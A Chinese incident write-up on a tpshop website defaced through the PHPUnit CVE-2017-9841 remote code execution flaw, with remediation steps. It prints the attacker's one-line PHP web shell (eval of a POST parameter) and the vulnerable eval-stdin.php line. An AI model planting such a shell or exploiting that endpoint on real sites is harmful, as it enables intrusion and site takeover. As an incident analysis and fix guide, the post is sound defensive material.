phpunit中的CVE-2017-9841 RCE漏洞 导致网站被黑

客户网站(使用tpshop开发)被黑,首页跳转到其他网站。经过查询网站日志发现可能是通过

/vendor/phpunit/phpunit/src/Util/PHP/asd.php这个文件篡改网站首页文件的。这个文件的代码为:

<?php echo "tpshop";eval($_POST[0]);?>

通过这个文件,可以发送post请求,修改首页文件。

asp.php这个文件怎么上传到服务器的呢?继续分析日志发现应该是经过/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php这个文件上传的

百度了一下发现,原来这个文件早就有漏洞。漏洞内容如下:http://phpunit.vulnbusters.com/

phpunitPHP中广泛使用的测试框架 存在漏洞。该漏洞可能导致远程代码执行(RCE)。
通常phpunit使用composer非常流行的PHP依赖管理器进行部署。在大多数情况下phpunit,生产环境不是必需的,但仍然会安装。将作曲家模块放入网络可访问目录是允许直接利用此漏洞的另一个常见错误。
该漏洞在2016年11月被Bob Weinand意外修补,没有任何安全公告。
尽管固定版本可用几个月,但Internet上仍有数千台服务器安装了易受攻击的库。所以我们决定公开披露此漏洞。
细节
漏洞位于/phpunit/src/Util/PHP/eval-stdin.php文件中。该补丁包含此文件之前
eval('?>'.file_get_contents('php://input'));

这句代码可用于运行任意PHP代码。


修复此漏洞的方式有以下几种:

1、删除phpunit以及其他开发包。在大多数情况下,它们不是生产环境所必需的。

$ composer install --no-dev

2、更新phpunit。来自4.8.28,来自5.6.3和6.x不易受攻击的版本。

$ composer update

3、手动应用修补程序。将代码替换eval-stdin.php为这一个:

eval('?>' . \file_get_contents('php://stdin'));

4、composer将.htaccess文件放置到/vendor文件夹 禁用对包的直接访问:

Deny from all